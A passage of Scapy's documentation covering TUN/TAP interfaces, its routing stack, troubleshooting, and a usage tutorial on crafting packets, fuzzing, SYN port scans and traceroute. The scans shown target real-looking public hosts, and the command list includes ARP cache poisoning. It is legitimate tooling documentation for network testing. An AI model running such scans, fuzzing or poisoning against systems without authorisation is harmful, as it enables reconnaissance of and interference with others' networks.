ms 64 bytes from 192.0.2.2: icmp_seq=1 ttl=64 time=3.927 ms 64 bytes from 192.0.2.2: icmp_seq=2 ttl=64 time=5.740 ms --- 192.0.2.2 ping statistics --- 3 packets transmitted, 3 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 2.414/4.027/5.740/1.360 ms You should see those packets show up in Scapy: .. code-block:: pycon3 >>> am() Replying 192.0.2.1 to 192.0.2.2 Replying 192.0.2.1 to 192.0.2.2 Replying 192.0.2.1 to 192.0.2.2 You might have noticed that didn't configure Scapy with any IP address... and there's a trick to this: :py:class:`ICMPEcho_am` swaps the ``source`` and ``destination`` fields of any :py:class:`Ether` and :py:class:`IP` headers on the :py:class:`ICMP` packet that it receives. As a result, it actually responds to *any* IP address. You can stop the :py:class:`ICMPEcho_am` AnsweringMachine with :kbd:`^C`. When you close Scapy, the ``tun0`` interface will automatically disappear. TunTapInterface reference ========================= .. py:class:: TunTapInterface(SimpleSocket) A socket to act as the remote side of a TUN/TAP interface. .. py:method:: __init__(iface: Text, [mode_tun], [strip_packet_info = True], [default_read_size = MTU]) :param Text iface: The name of the interface to use, eg: ``tun0``. On BSD and macOS, this must start with either ``tun`` or ``tap``, and have a corresponding :file:`/dev/` node (eg: :file:`/dev/tun0`). On Linux, this will be truncated to 16 bytes. :param bool mode_tun: If True, create as TUN interface (layer 3). If False, creates a TAP interface (layer 2). If not supplied, attempts to detect from the ``iface`` parameter. :param bool strip_packet_info: If True (default), any :py:class:`TunPacketInfo` will be stripped from the packet (so you get :py:class:`Ether` or :py:class:`IP`). Only Linux TUN interfaces have :py:class:`TunPacketInfo` available. This has no effect for interfaces that do not have :py:class:`TunPacketInfo` available. :param int default_read_size: Sets the default size that is read by :py:meth:`SuperSocket.raw_recv` and :py:meth:`SuperSocket.recv`. This defaults to :py:data:`scapy.data.MTU`. :py:class:`TunTapInterface` always adds overhead for :py:class:`TunPacketInfo` headers, if required. .. py:class:: TunPacketInfo(Packet) Abstract class used to stack layer 3 protocols on a platform-specific header. See :py:class:`LinuxTunPacketInfo` for an example. .. py:method:: guess_payload_class(payload) The default implementation expects the field ``proto`` to be declared, with a value from :py:data:`scapy.data.ETHER_TYPES`. Linux-specific structures ------------------------- .. py:class:: LinuxTunPacketInfo(TunPacketInfo) Packet header used for Linux TUN packets. This is ``struct tun_pi``, declared in :file:`linux/if_tun.h`. .. py:attribute:: flags Flags to set on the packet. Only ``TUN_VNET_HDR`` is supported. .. py:attribute:: proto Layer 3 protocol number, per :py:data:`scapy.data.ETHER_TYPES`. Used by :py:meth:`TunTapPacketInfo.guess_payload_class`. .. py:class:: LinuxTunIfReq(Packet) Internal "packet" used for ``TUNSETIFF`` requests on Linux. This is ``struct ifreq``, declared in :file:`linux/if.h`. ================================================ FILE: doc/scapy/make.bat ================================================ @ECHO OFF pushd %~dp0 REM Command file for Sphinx documentation if "%SPHINXBUILD%" == "" ( set SPHINXBUILD=sphinx-build ) set SOURCEDIR=. set BUILDDIR=_build set SPHINXPROJ=Scapy if "%1" == "" goto help %SPHINXBUILD% >NUL 2>NUL if errorlevel 9009 ( echo. echo.The 'sphinx-build' command was not found. Make sure you have Sphinx echo.installed, then set the SPHINXBUILD environment variable to point echo.to the full path of the 'sphinx-build' executable. Alternatively you echo.may add the Sphinx directory to PATH. echo. echo.If you don't have Sphinx installed, grab it from echo.http://sphinx-doc.org/ exit /b 1 ) %SPHINXBUILD% -M %1 %SOURCEDIR% %BUILDDIR% %SPHINXOPTS% goto end :help %SPHINXBUILD% -M help %SOURCEDIR% %BUILDDIR% %SPHINXOPTS% :end popd ================================================ FILE: doc/scapy/routing.rst ================================================ ******************* Scapy network stack ******************* Scapy maintains its own network stack, which is independent from the one of your operating system. It possesses its own *interfaces list*, *routing table*, *ARP cache*, *IPv6 neighbour* cache, *nameservers* config... and so on, all of which is configurable. Here are a few examples of where this is used:: - When you use ``sr()/send()``, Scapy will use internally its own routing table (``conf.route``) in order to find which interface to use, and eventually send an ARP request. - When using ``dns_resolve()``, Scapy uses its own nameservers list (``conf.nameservers``) to perform the request - etc. .. note:: What's important to note is that Scapy initializes its own tables by querying the OS-specific ones. It has therefore implemented bindings for Linux/Windows/BSD.. in order to retrieve such data, which may also be used as a high-level API, documented below. Interfaces list --------------- Scapy stores its interfaces list in the :py:attr:`conf.ifaces ` object. It provides a few utility functions such as :py:attr:`dev_from_networkname() `, :py:attr:`dev_from_name() ` or :py:attr:`dev_from_index() ` in order to access those. .. code-block:: pycon >>> conf.ifaces Source Index Name MAC IPv4 IPv6 sys 1 lo 00:00:00:00:00:00 127.0.0.1 ::1 sys 2 eth0 Microsof:12:cb:ef 10.0.0.5 fe80::10a:2bef:dc12:afae >>> conf.ifaces.dev_from_index(2) You can also use the older ``get_if_list()`` function in order to only get the interface names. .. code-block:: pycon >>> get_if_list() ['lo', 'eth0'] Extcap interfaces ~~~~~~~~~~~~~~~~~ Scapy supports sniffing on `Wireshark's extcap `_ interfaces. You can simply enable it using ``load_extcap()`` (from ``scapy.libs.extcap``). .. code-block:: pycon >>> load_extcap() >>> conf.ifaces Source Index Name Address ciscodump 100 Cisco remote capture ciscodump dpauxmon 100 DisplayPort AUX channel monitor capture dpauxmon randpktdump 100 Random packet generator randpkt sdjournal 100 systemd Journal Export sdjournal sshdump 100 SSH remote capture sshdump udpdump 100 UDP Listener remote capture udpdump wifidump 100 Wi-Fi remote capture wifidump Source Index Name MAC IPv4 IPv6 sys 1 lo 00:00:00:00:00:00 127.0.0.1 ::1 sys 2 eth0 Microsof:12:cb:ef 10.0.0.5 fe80::10a:2bef:dc12:afae Here's an example of how to use `sshdump `_. As you can see you can pass arguments that are properly converted: .. code-block:: pycon >>> load_extcap() >>> sniff( ... iface="sshdump", ... prn=lambda x: x.summary(), ... remote_host="192.168.0.1", ... remote_username="root", ... remote_password="SCAPY", ... ) You can check the available options by using the following. .. code-block:: python >>> conf.ifaces.dev_from_networkname("sshdump").get_extcap_config() .. todo:: The sections below can be greatly improved. IPv4 routes ----------- .. note:: If you want to change or edit the routes, have a look at `the "Routing" section in Usage `_ The routes are stores in :py:attr:`conf.route `. You can use it to display the routes, or get specific routing .. code-block:: pycon >>> conf.route Network Netmask Gateway Iface Output IP Metric 0.0.0.0 0.0.0.0 10.0.0.1 eth0 10.0.0.5 100 10.0.0.0 255.255.255.0 0.0.0.0 eth0 10.0.0.5 0 127.0.0.0 255.0.0.0 0.0.0.0 lo 127.0.0.1 1 168.63.129.16 255.255.255.255 10.0.0.1 eth0 10.0.0.5 100 169.254.169.254 255.255.255.255 10.0.0.1 eth0 10.0.0.5 100 Get the route for a specific IP: :py:func:`conf.route.route() ` will return ``(interface, outgoing_ip, gateway)`` .. code-block:: pycon >>> conf.route.route("127.0.0.1") ('lo', '127.0.0.1', '0.0.0.0') IPv6 routes ----------- Same as IPv4 but with :py:attr:`conf.route6 ` Get default gateway IP address ------------------------------ .. code-block:: pycon >>> gw = conf.route.route("0.0.0.0")[2] >>> gw '10.0.0.1' Get the IP of an interface -------------------------- Use ``conf.iface`` .. code-block:: pycon >>> ip = get_if_addr(conf.iface) # default interface >>> ip = get_if_addr("eth0") >>> ip '10.0.0.5' Get the MAC of an interface --------------------------- .. code-block:: pycon >>> mac = get_if_hwaddr(conf.iface) # default interface >>> mac = get_if_hwaddr("eth0") >>> mac '54:3f:19:c9:38:6d' Get MAC address of the next hop to reach an IP ---------------------------------------------- This basically performs a cached ARP who-has when the IP is on the same local link, returns the MAC of the gateway when it's not, and handle special cases like multicast. .. code-block:: pycon >>> mac = getmacbyip("10.0.0.1") >>> mac 'f3:ae:5e:76:31:9b' ================================================ FILE: doc/scapy/troubleshooting.rst ================================================ *************** Troubleshooting *************** FAQ === I can't sniff/inject packets in monitor mode. --------------------------------------------- The use monitor mode varies greatly depending on the platform, reasons are explained on the `Wireshark wiki `_: *Unfortunately, changing the 802.11 capture modes is very platform/network adapter/driver/libpcap dependent, and might not be possible at all (Windows is very limited here).* Here is some guidance on how to properly use monitor mode with Scapy: - **Using Libpcap (or Npcap)**: ``libpcap`` must be called differently by Scapy in order for it to create the sockets in monitor mode. You will need to pass the ``monitor=True`` to any calls that open a socket (``send``, ``sniff``...) or to a Scapy socket that you create yourself (``conf.L2Socket``...) **On Windows**, you additionally need to turn on monitor mode on the WiFi card, use:: # Of course, conf.iface can be replaced by any interfaces accessed through conf.ifaces >>> conf.iface.setmonitor(True) - **Native Linux (with libpcap disabled):** You should set the interface in monitor mode on your own. The easiest way to do that is to use ``airmon-ng``:: $ sudo airmon-ng start wlan0 You can also use:: $ iw dev wlan0 interface add mon0 type monitor $ ifconfig mon0 up If you want to enable monitor mode manually, have a look at https://wiki.wireshark.org/CaptureSetup/WLAN#linux .. warning:: **If you are using Npcap:** please note that Npcap ``npcap-0.9983`` broke the 802.11 support until ``npcap-1.3.0``. Avoid using those versions. We make our best to make this work, if your adapter works with Wireshark for instance, but not with Scapy, feel free to report an issue. My TCP connections are reset by Scapy or by my kernel. ------------------------------------------------------ The kernel is not aware of what Scapy is doing behind his back. If Scapy sends a SYN, the target replies with a SYN-ACK and your kernel sees it, it will reply with a RST. To prevent this, use local firewall rules (e.g. NetFilter for Linux). Scapy does not mind about local firewalls. I can't ping 127.0.0.1 (or ::1). Scapy does not work with 127.0.0.1 (or ::1) on the loopback interface. ------------------------------------------------------------------------------------------------------- The loopback interface is a very special interface. Packets going through it are not really assembled and disassembled. The kernel routes the packet to its destination while it is still stored an internal structure. What you see with ```tcpdump -i lo``` is only a fake to make you think everything is normal. The kernel is not aware of what Scapy is doing behind his back, so what you see on the loopback interface is also a fake. Except this one did not come from a local structure. Thus the kernel will never receive it. .. note:: Starting from Scapy > **2.5.0**, Scapy will automatically use ``L3RawSocket`` when necessary when using L3-functions (sr-like) on the loopback interface, when libpcap is not in use. **On Linux**, in order to speak to local IPv4 applications, you need to build your packets one layer upper, using a PF_INET/SOCK_RAW socket instead of a PF_PACKET/SOCK_RAW (or its equivalent on other systems than Linux):: >>> conf.L3socket >>> conf.L3socket = L3RawSocket >>> sr1(IP() / ICMP()) > With IPv6, you can simply do:: # Layer 3 >>> sr1(IPv6() / ICMPv6EchoRequest()) > # Layer 2 >>> srp1(Ether() / IPv6() / ICMPv6EchoRequest(), iface=conf.loopback_name) >> .. warning:: On Linux, libpcap does not support loopback IPv4 pings: >>> conf.use_pcap = True >>> sr1(IP() / ICMP()) Begin emission: Finished sending 1 packets. ..................................... You can disable libpcap using ``conf.use_pcap = False`` or bypass it on layer 3 using ``conf.L3socket = L3RawSocket``. **On Windows, BSD, and macOS**, you must deactivate/configure the local firewall prior to using the following commands:: # Layer 3 >>> sr1(IP() / ICMP()) > >>> sr1(IPv6() / ICMPv6EchoRequest()) > # Layer 2 >>> srp1(Loopback() / IP() / ICMP(), iface=conf.loopback_name) >> >>> srp1(Loopback() / IPv6() / ICMPv6EchoRequest(), iface=conf.loopback_name) >> Getting 'failed to set hardware filter to promiscuous mode' error ----------------------------------------------------------------- Disable promiscuous mode:: conf.sniff_promisc = False Scapy says there are 'Winpcap/Npcap conflicts' ---------------------------------------------- **On Windows**, as ``Winpcap`` is becoming old, it's recommended to use ``Npcap`` instead. ``Npcap`` is part of the ``Nmap`` project. .. note:: This does NOT apply for Windows XP, which isn't supported by ``Npcap``. On XP, uninstall ``Npcap`` and keep ``Winpcap``. 1. If you get the message ``'Winpcap is installed over Npcap.'`` it means that you have installed both Winpcap and Npcap versions, which isn't recommended. You may first **uninstall winpcap from your Program Files**, then you will need to remove some files that are not deleted by the ``Winpcap`` uninstaller:: C:/Windows/System32/wpcap.dll C:/Windows/System32/Packet.dll And if you are on an x64 machine, additionally the 32-bit variants:: C:/Windows/SysWOW64/wpcap.dll C:/Windows/SysWOW64/Packet.dll Once that is done, you'll be able to use ``Npcap`` properly. 2. If you get the message ``'The installed Windump version does not work with Npcap'`` it means that you have probably installed an old version of ``Windump``, made for ``Winpcap``. Download the one compatible with ``Npcap`` on https://github.com/hsluoyz/WinDump/releases In some cases, it could also mean that you had installed both ``Npcap`` and ``Winpcap``, and that the Npcap ``Windump`` is using ``Winpcap``. Fully delete ``Winpcap`` using the above method to solve the problem. BPF filters do not work. I'm on a ppp link ------------------------------------------ This is a known bug. BPF filters must compiled with different offsets on ppp links. It may work if you use libpcap (which will be used to compile the BPF filter) instead of using native linux support (PF_PACKET sockets). traceroute() does not work. I'm on a ppp link --------------------------------------------- This is a known bug. See BPF filters do not work. I'm on a ppp link To work around this, use ``nofilter=1``:: >>> traceroute("target", nofilter=1) Graphs are ugly/fonts are too big/image is truncated. ----------------------------------------------------- Quick fix: use png format:: >>> x.graph(format="png") Upgrade to latest version of GraphViz. Try providing different DPI options (50,70,75,96,101,125, for instance):: >>> x.graph(options="-Gdpi=70") If it works, you can make it permanenent:: >>> conf.prog.dot = "dot -Gdpi=70" You can also put this line in your ``~/.scapy_startup.py`` file Getting help ============ Common problems are answered in the FAQ. If you need additional help, please check out: * The `Gitter channel `_ * The `GitHub repository `_ There's also a low traffic mailing list at ``scapy.ml(at)secdev.org`` (`archive `_, `RSS, NNTP `_). Subscribe by sending a mail to ``scapy.ml-subscribe(at)secdev.org``. You are encouraged to send questions, bug reports, suggestions, ideas, cool usages of Scapy, etc. ================================================ FILE: doc/scapy/usage.rst ================================================ ***** Usage ***** Starting Scapy ============== Scapy's interactive shell is run in a terminal session. Root privileges are needed to send the packets, so we're using ``sudo`` here:: $ sudo scapy -H Welcome to Scapy (2.4.0) >>> On Windows, please open a command prompt (``cmd.exe``) and make sure that you have administrator privileges:: C:\>scapy Welcome to Scapy (2.4.0) >>> If you do not have all optional packages installed, Scapy will inform you that some features will not be available:: INFO: Can't import python matplotlib wrapper. Won't be able to plot. INFO: Can't import PyX. Won't be able to use psdump() or pdfdump(). The basic features of sending and receiving packets should still work, though. Interactive tutorial ==================== This section will show you several of Scapy's features with Python 2. Just open a Scapy session as shown above and try the examples yourself. .. note:: You can configure the Scapy terminal by modifying the ``~/.config/scapy/prestart.py`` file. First steps ----------- Let's build a packet and play with it:: >>> a=IP(ttl=10) >>> a < IP ttl=10 |> >>> a.src ’127.0.0.1’ >>> a.dst="192.168.1.1" >>> a < IP ttl=10 dst=192.168.1.1 |> >>> a.src ’192.168.8.14’ >>> del(a.ttl) >>> a < IP dst=192.168.1.1 |> >>> a.ttl 64 Stacking layers --------------- The ``/`` operator has been used as a composition operator between two layers. When doing so, the lower layer can have one or more of its defaults fields overloaded according to the upper layer. (You still can give the value you want). A string can be used as a raw layer. :: >>> IP() >>> IP()/TCP() > >>> Ether()/IP()/TCP() >> >>> IP()/TCP()/"GET / HTTP/1.0\r\n\r\n" >> >>> Ether()/IP()/IP()/UDP() >>> >>> IP(proto=55)/TCP() > .. image:: graphics/fieldsmanagement.png :scale: 90 Each packet can be built or dissected (note: in Python ``_`` (underscore) is the latest result):: >>> raw(IP()) 'E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01' >>> IP(_) >>> a=Ether()/IP(dst="www.slashdot.org")/TCP()/"GET /index.html HTTP/1.0 \n\n" >>> hexdump(a) 00 02 15 37 A2 44 00 AE F3 52 AA D1 08 00 45 00 ...7.D...R....E. 00 43 00 01 00 00 40 06 78 3C C0 A8 05 15 42 23 .C....@.x<....B# FA 97 00 14 00 50 00 00 00 00 00 00 00 00 50 02 .....P........P. 20 00 BB 39 00 00 47 45 54 20 2F 69 6E 64 65 78 ..9..GET /index 2E 68 74 6D 6C 20 48 54 54 50 2F 31 2E 30 20 0A .html HTTP/1.0 . 0A . >>> b=raw(a) >>> b '\x00\x02\x157\xa2D\x00\xae\xf3R\xaa\xd1\x08\x00E\x00\x00C\x00\x01\x00\x00@\x06x<\xc0 \xa8\x05\x15B#\xfa\x97\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00 \xbb9\x00\x00GET /index.html HTTP/1.0 \n\n' >>> c=Ether(b) >>> c >>> We see that a dissected packet has all its fields filled. That's because I consider that each field has its value imposed by the original string. If this is too verbose, the method hide_defaults() will delete every field that has the same value as the default:: >>> c.hide_defaults() >>> c >>> Reading PCAP files ------------------ .. index:: single: rdpcap() You can read packets from a pcap file and write them to a pcap file. >>> a=rdpcap("/spare/captures/isakmp.cap") >>> a Graphical dumps (PDF, PS) ------------------------- .. index:: single: pdfdump(), psdump() If you have PyX installed, you can make a graphical PostScript/PDF dump of a packet or a list of packets (see the ugly PNG image below. PostScript/PDF are far better quality...):: >>> a[423].pdfdump(layer_shift=1) >>> a[423].psdump("/tmp/isakmp_pkt.eps",layer_shift=1) .. image:: graphics/isakmp_dump.png ======================= ==================================================== Command Effect ======================= ==================================================== raw(pkt) assemble the packet hexdump(pkt) have a hexadecimal dump ls(pkt) have the list of fields values pkt.summary() for a one-line summary pkt.show() for a developed view of the packet pkt.show2() same as show but on the assembled packet (checksum is calculated, for instance) pkt.sprintf() fills a format string with fields values of the packet pkt.decode_payload_as() changes the way the payload is decoded pkt.psdump() draws a PostScript diagram with explained dissection pkt.pdfdump() draws a PDF with explained dissection pkt.command() return a Scapy command that can generate the packet pkt.json() return a JSON string representing the packet ======================= ==================================================== Generating sets of packets -------------------------- For the moment, we have only generated one packet. Let see how to specify sets of packets as easily. Each field of the whole packet (ever layers) can be a set. This implicitly defines a set of packets, generated using a kind of cartesian product between all the fields. :: >>> a=IP(dst="www.slashdot.org/30") >>> a >>> [p for p in a] [, , , ] >>> b=IP(ttl=[1,2,(5,9)]) >>> b >>> [p for p in b] [, , , , , , ] >>> c=TCP(dport=[80,443]) >>> [p for p in a/c] [>, >, >, >, >, >, >, >] Some operations (like building the string from a packet) can't work on a set of packets. In these cases, if you forgot to unroll your set of packets, only the first element of the list you forgot to generate will be used to assemble the packet. On the other hand, it is possible to move sets of packets into a `PacketList` object, which provides some operations on lists of packets. :: >>> p = PacketList(a) >>> p >>> p = PacketList([p for p in a/c]) >>> p =============== ==================================================== Command Effect =============== ==================================================== summary() displays a list of summaries of each packet nsummary() same as previous, with the packet number conversations() displays a graph of conversations show() displays the preferred representation (usually nsummary()) filter() returns a packet list filtered with a lambda function hexdump() returns a hexdump of all packets hexraw() returns a hexdump of the Raw layer of all packets padding() returns a hexdump of packets with padding nzpadding() returns a hexdump of packets with non-zero padding plot() plots a lambda function applied to the packet list make\_table() displays a table according to a lambda function =============== ==================================================== Sending packets --------------- .. index:: single: Sending packets, send Now that we know how to manipulate packets. Let's see how to send them. The send() function will send packets at layer 3. That is to say, it will handle routing and layer 2 for you. The sendp() function will work at layer 2. It's up to you to choose the right interface and the right link layer protocol. send() and sendp() will also return sent packet list if return_packets=True is passed as parameter. :: >>> send(IP(dst="1.2.3.4")/ICMP()) . Sent 1 packets. >>> sendp(Ether()/IP(dst="1.2.3.4",ttl=(1,4)), iface="eth1") .... Sent 4 packets. >>> sendp("I'm travelling on Ethernet", iface="eth1", loop=1, inter=0.2) ................^C Sent 16 packets. >>> sendp(rdpcap("/tmp/pcapfile")) # tcpreplay ........... Sent 11 packets. Returns packets sent by send() >>> send(IP(dst='127.0.0.1'), return_packets=True) . Sent 1 packets. .. _multicast: Multicast on layer 3: Scope Identifiers --------------------------------------- .. index:: single: Multicast .. note:: This feature is only available since Scapy 2.6.0. If you try to use multicast addresses (IPv4) or link-local addresses (IPv6), you'll notice that Scapy follows the routing table and takes the first entry. In order to specify which interface to use when looking through the routing table, Scapy supports scope identifiers (similar to RFC6874 but for both IPv6 and IPv4). .. code:: python >>> conf.checkIPaddr = False # answer IP will be != from the one we requested # send on interface 'eth0' >>> sr(IP(dst="224.0.0.1%eth0")/ICMP(), multi=True) >>> sr(IPv6(dst="ff02::1%eth0")/ICMPv6EchoRequest(), multi=True) You can use both ``%eth0`` format or ``%15`` (the interface id) format. You can query those using ``conf.ifaces``. .. note:: Behind the scene, calling ``IP(dst="224.0.0.1%eth0")`` creates a ``ScopedIP`` object that contains ``224.0.0.1`` on the scope of the interface ``eth0``. If you are using an interface object (for instance ``conf.iface``), you can also craft that object. For instance:: >>> pkt = IP(dst=ScopedIP("224.0.0.1", scope=conf.iface))/ICMP() Fuzzing ------- .. index:: single: fuzz(), fuzzing The function fuzz() is able to change any default value that is not to be calculated (like checksums) by an object whose value is random and whose type is adapted to the field. This enables quickly building fuzzing templates and sending them in a loop. In the following example, the IP layer is normal, and the UDP and NTP layers are fuzzed. The UDP checksum will be correct, the UDP destination port will be overloaded by NTP to be 123 and the NTP version will be forced to be 4. All the other ports will be randomized. Note: If you use fuzz() in IP layer, src and dst parameter won't be random so in order to do that use RandIP().:: >>> send(IP(dst="target")/fuzz(UDP()/NTP(version=4)),loop=1) ................^C Sent 16 packets. Injecting bytes --------------- .. index:: single: RawVal In a packet, each field has a specific type. For instance, the length field of the IP packet ``len`` expects an integer. More on that later. If you're developing a PoC, there are times where you'll want to inject some value that doesn't fit that type. This is possible using ``RawVal`` .. code:: >>> pkt = IP(len=RawVal(b"NotAnInteger"), src="127.0.0.1") >>> bytes(pkt) b'H\x00NotAnInt\x0f\xb3er\x00\x01\x00\x00@\x00\x00\x00\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x00' Send and receive packets (sr) ----------------------------- .. index:: single: sr() Now, let's try to do some fun things. The sr() function is for sending packets and receiving answers. The function returns a couple of packet and answers, and the unanswered packets. The function sr1() is a variant that only returns one packet that answered the packet (or the packet set) sent. The packets must be layer 3 packets (IP, ARP, etc.). The function srp() do the same for layer 2 packets (Ethernet, 802.3, etc.). If there is no response, a None value will be assigned instead when the timeout is reached. :: >>> p = sr1(IP(dst="www.slashdot.org")/ICMP()/"XXXXXXXXXXX") Begin emission: ...Finished to send 1 packets. .* Received 5 packets, got 1 answers, remaining 0 packets >>> p >>> >>> p.show() ---[ IP ]--- version = 4L ihl = 5L tos = 0x0 len = 39 id = 15489 flags = frag = 0L ttl = 42 proto = ICMP chksum = 0x51dd src = 66.35.250.151 dst = 192.168.5.21 options = '' ---[ ICMP ]--- type = echo-reply code = 0 chksum = 0xee45 id = 0x0 seq = 0x0 ---[ Raw ]--- load = 'XXXXXXXXXXX' ---[ Padding ]--- load = '\x00\x00\x00\x00' .. index:: single: DNS, Etherleak A DNS query (``rd`` = recursion desired). The host 192.168.5.1 is my DNS server. Note the non-null padding coming from my Linksys having the Etherleak flaw:: >>> sr1(IP(dst="192.168.5.1")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.slashdot.org"))) Begin emission: Finished to send 1 packets. ..* Received 3 packets, got 1 answers, remaining 0 packets an= ns=0 ar=0 |>>> The "send'n'receive" functions family is the heart of Scapy. They return a couple of two lists. The first element is a list of couples (packet sent, answer), and the second element is the list of unanswered packets. These two elements are lists, but they are wrapped by an object to present them better, and to provide them with some methods that do most frequently needed actions:: >>> sr(IP(dst="192.168.8.1")/TCP(dport=[21,22,23])) Received 6 packets, got 3 answers, remaining 0 packets (, ) >>> ans, unans = _ >>> ans.summary() IP / TCP 192.168.8.14:20 > 192.168.8.1:21 S ==> Ether / IP / TCP 192.168.8.1:21 > 192.168.8.14:20 RA / Padding IP / TCP 192.168.8.14:20 > 192.168.8.1:22 S ==> Ether / IP / TCP 192.168.8.1:22 > 192.168.8.14:20 RA / Padding IP / TCP 192.168.8.14:20 > 192.168.8.1:23 S ==> Ether / IP / TCP 192.168.8.1:23 > 192.168.8.14:20 RA / Padding If there is a limited rate of answers, you can specify a time interval (in seconds) to wait between two packets with the inter parameter. If some packets are lost or if specifying an interval is not enough, you can resend all the unanswered packets, either by calling the function again, directly with the unanswered list, or by specifying a retry parameter. If retry is 3, Scapy will try to resend unanswered packets 3 times. If retry is -3, Scapy will resend unanswered packets until no more answer is given for the same set of unanswered packets 3 times in a row. The timeout parameter specify the time to wait after the last packet has been sent:: >>> sr(IP(dst="172.20.29.5/30")/TCP(dport=[21,22,23]),inter=0.5,retry=-2,timeout=1) Begin emission: Finished to send 12 packets. Begin emission: Finished to send 9 packets. Begin emission: Finished to send 9 packets. Received 100 packets, got 3 answers, remaining 9 packets (, ) SYN Scans --------- .. index:: single: SYN Scan Classic SYN Scan can be initialized by executing the following command from Scapy's prompt:: >>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S")) The above will send a single SYN packet to Google's port 80 and will quit after receiving a single response:: Begin emission: .Finished to send 1 packets. * Received 2 packets, got 1 answers, remaining 0 packets >> From the above output, we can see Google returned “SA” or SYN-ACK flags indicating an open port. Use either notations to scan ports 440 through 443 on the system: >>> sr(IP(dst="192.168.1.1")/TCP(sport=666,dport=(440,443),flags="S")) or >>> sr(IP(dst="192.168.1.1")/TCP(sport=RandShort(),dport=[440,441,442,443],flags="S")) In order to quickly review responses simply request a summary of collected packets:: >>> ans, unans = _ >>> ans.summary() IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:440 S ======> IP / TCP 192.168.1.1:440 > 192.168.1.100:ftp-data RA / Padding IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:441 S ======> IP / TCP 192.168.1.1:441 > 192.168.1.100:ftp-data RA / Padding IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:442 S ======> IP / TCP 192.168.1.1:442 > 192.168.1.100:ftp-data RA / Padding IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp-data SA / Padding The above will display stimulus/response pairs for answered probes. We can display only the information we are interested in by using a simple loop: >>> ans.summary( lambda s,r: r.sprintf("%TCP.sport% \t %TCP.flags%") ) 440 RA 441 RA 442 RA https SA Even better, a table can be built using the ``make_table()`` function to display information about multiple targets:: >>> ans, unans = sr(IP(dst=["192.168.1.1","yahoo.com","slashdot.org"])/TCP(dport=[22,80,443],flags="S")) Begin emission: .......*.**.......Finished to send 9 packets. **.*.*..*.................. Received 362 packets, got 8 answers, remaining 1 packets >>> ans.make_table( ... lambda s,r: (s.dst, s.dport, ... r.sprintf("{TCP:%TCP.flags%}{ICMP:%IP.src% - %ICMP.type%}"))) 66.35.250.150 192.168.1.1 216.109.112.135 22 66.35.250.150 - dest-unreach RA - 80 SA RA SA 443 SA SA SA The above example will even print the ICMP error type if the ICMP packet was received as a response instead of expected TCP. For larger scans, we could be interested in displaying only certain responses. The example below will only display packets with the “SA” flag set:: >>> ans.nsummary(lfilter = lambda s,r: r.sprintf("%TCP.flags%") == "SA") 0003 IP / TCP 192.168.1.100:ftp_data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp_data SA In case we want to do some expert analysis of responses, we can use the following command to indicate which ports are open:: >>> ans.summary(lfilter = lambda s,r: r.sprintf("%TCP.flags%") == "SA",prn=lambda s,r: r.sprintf("%TCP.sport% is open")) https is open Again, for larger scans we can build a table of open ports:: >>> ans.filter(lambda s,r: TCP in r and r[TCP].flags&2).make_table(lambda s,r: ... (s.dst, s.dport, "X")) 66.35.250.150 192.168.1.1 216.109.112.135 80 X - X 443 X X X If all of the above methods were not enough, Scapy includes a report_ports() function which not only automates the SYN scan, but also produces a LaTeX output with collected results:: >>> report_ports("192.168.1.1",(440,443)) Begin emission: ...*.**Finished to send 4 packets. * Received 8 packets, got 4 answers, remaining 0 packets '\\begin{tabular}{|r|l|l|}\n\\hline\nhttps & open & SA \\\\\n\\hline\n440 & closed & TCP RA \\\\\n441 & closed & TCP RA \\\\\n442 & closed & TCP RA \\\\\n\\hline\n\\hline\n\\end{tabular}\n' TCP traceroute -------------- .. index:: single: Traceroute A TCP traceroute:: >>> ans, unans = sr(IP(dst=target, ttl=(4,25),id=RandShort())/TCP(flags=0x2)) *****.******.*.***..*.**Finished to send 22 packets. ***...... Received 33 packets, got 21 answers, remaining 1 packets >>> for snd,rcv in ans: ... print(snd.ttl, rcv.src, isinstance(rcv.payload, TCP)) ... 5 194.51.159.65 0 6 194.51.159.49 0 4 194.250.107.181 0 7 193.251.126.34 0 8 193.251.126.154 0 9 193.251.241.89 0 10 193.251.241.110 0 11 193.251.241.173 0 13 208.172.251.165 0 12 193.251.241.173 0 14 208.172.251.165 0 15 206.24.226.99 0 16 206.24.238.34 0 17 173.109.66.90 0 18 173.109.88.218 0 19 173.29.39.101 1 20 173.29.39.101 1 21 173.29.39.101 1 22 173.29.39.101 1 23 173.29.39.101 1 24 173.29.39.101 1 Note that the TCP traceroute and some other high-level functions are already coded:: >>> lsc() sr : Send and receive packets at layer 3 sr1 : Send packets at layer 3 and return only the first answer srp : Send and receive packets at layer 2 srp1 : Send and receive packets at layer 2 and return only the first answer srloop : Send a packet at layer 3 in loop and print the answer each time srploop : Send a packet at layer 2 in loop and print the answer each time sniff : Sniff packets p0f : Passive OS fingerprinting: which OS emitted this TCP SYN ? arpcachepoison : Poison target's cache with (your MAC,victim's IP) couple send : Send packets at layer 3 sendp : Send packets at layer 2 traceroute : Instant TCP traceroute arping : Send ARP who-has requests to determine which hosts are up ls : List available layers, or infos on a given layer lsc : List user commands queso : Queso OS fingerprinting nmap_fp : nmap fingerprinting report_ports : portscan a target and output a LaTeX table dyndns_add : Send a DNS add message to a nameserver for "name" to have a new "rdata" dyndns_del : Send a DNS delete message to a nameserver for "name" [...] Scapy may also use the GeoIP2 module, in combination with matplotlib and `cartopy `_ to generate fancy graphics such as below: .. image:: graphics/traceroute_worldplot.png In this example, we used the `traceroute_map()` function to print the graphic. This method is a shortcut which uses the `world_trace` of the `TracerouteResult` objects. It could have been done differently: >>> conf.geoip_city = "path/to/GeoLite2-City.mmdb" >>> a, _ = traceroute(["www.google.co.uk", "www.secdev.org"], verbose=0) >>> a.world_trace() or such as above: >>> conf.geoip_city = "path/to/GeoLite2-City.mmdb" >>> traceroute_map(["www.google.co.uk", "www.secdev.org"]) To use those 